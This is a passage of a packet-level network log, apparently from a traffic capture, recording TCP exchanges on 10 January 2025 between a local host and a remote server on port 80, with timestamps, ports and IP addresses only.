Jan 10, 2025 18:21:43.398293018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.398304939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.398324966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.398334980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.398349047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.398361921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.398380041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.398417950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.398426056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.398433924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.398447037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.398457050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.398483992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.398497105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.398505926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.398518085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.398529053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.398541927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.398554087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.398581028 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.420068026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420131922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.420152903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420162916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420178890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420192957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.420197964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420212030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420231104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420243025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420253038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420260906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.420281887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.420319080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.420346975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420362949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420376062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420387983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420398951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.420409918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420422077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420428991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.420439005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.420456886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.421226025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421253920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421272993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421279907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.421291113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421303034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421310902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.421320915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421339989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421344995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.421374083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.421657085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421674967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421686888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421699047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421711922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.421720028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421730995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421740055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.421750069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421763897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.421787024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421799898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421809912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421821117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.421829939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421845913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421850920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.421896935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.421919107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421930075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421941996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421952963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421969891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.421983004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.421988010 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.421996117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422017097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422028065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422035933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.422046900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422059059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422065973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.422094107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.422107935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422117949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422128916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422153950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.422168970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422179937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422190905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422204971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.422214985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422233105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.422266960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422277927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422286987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422307014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.422328949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422334909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.422343016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422354937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422368050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422375917 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.422399044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422406912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.422462940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422472954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422485113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422497988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422504902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.422514915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.422532082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.422545910 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.429419994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.432857037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.432878017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.432889938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.432900906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.432915926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.432921886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.432931900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.432940960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.432976007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.433038950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433048964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433059931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433083057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.433115959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433130980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433145046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433156013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.433163881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433183908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.433209896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433218002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433247089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.433283091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433295012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433306932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433317900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433325052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.433336020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433350086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433355093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.433365107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.433372974 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.433403015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.454260111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.454629898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.454639912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.454653025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.454689980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.454708099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.454719067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.454727888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.454736948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.454751968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.454758883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.454780102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.454788923 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.454797983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.454807997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.454821110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.454833984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.454843044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.454857111 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.475774050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.475788116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.475800037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.475833893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.475843906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.475855112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.475867033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.475878954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.475888968 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.475898981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.475905895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.475924969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.506367922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.506376982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.506395102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.506406069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.506412029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.506417990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.506467104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.506485939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.506490946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.506496906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.506508112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.506547928 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.506567955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.506578922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.506584883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.506594896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.506629944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.510891914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.510899067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.510905027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.510965109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.510970116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.510977030 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.510986090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.510998964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.511004925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.511014938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.511022091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.511029005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.511056900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.511077881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.511082888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.511089087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.511099100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.511132956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.511972904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.511979103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.511986017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512022972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512027979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512033939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.512043953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512048960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512069941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.512109995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.512363911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512370110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512376070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512417078 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.512480974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512485981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512491941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512505054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512540102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.512576103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512581110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512586117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512594938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512599945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512605906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512628078 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.512645006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.512661934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512665987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512670994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512681007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512713909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.512765884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512772083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512777090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512788057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512819052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.512917995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512923002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512928963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512943029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.512972116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.513000011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513005972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513011932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513052940 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.513084888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513089895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513096094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513106108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513138056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.513183117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513195038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513200998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513211012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513216019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513222933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513228893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513240099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.513262033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.513278961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513284922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513290882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513300896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513307095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.513328075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.513353109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.523375034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523390055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523394108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523403883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523408890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523413897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523443937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.523459911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.523507118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523515940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523520947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523530960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523561001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523566008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523571014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.523577929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523582935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523602962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.523617983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.523633957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523638964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523644924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523680925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.523700953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523705959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523710012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523715973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523720980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.523747921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.523767948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.525213003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.525219917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.527036905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.545171976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.545176983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.545192003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.545205116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.545211077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.545217037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.545248032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.545280933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.546592951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.546600103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.546686888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.566301107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.566315889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.566322088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.566332102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.566338062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.566344976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.566390991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.566435099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.568201065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.568208933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.568332911 CET	49709	80	192.168.2.6	193.143.1.205
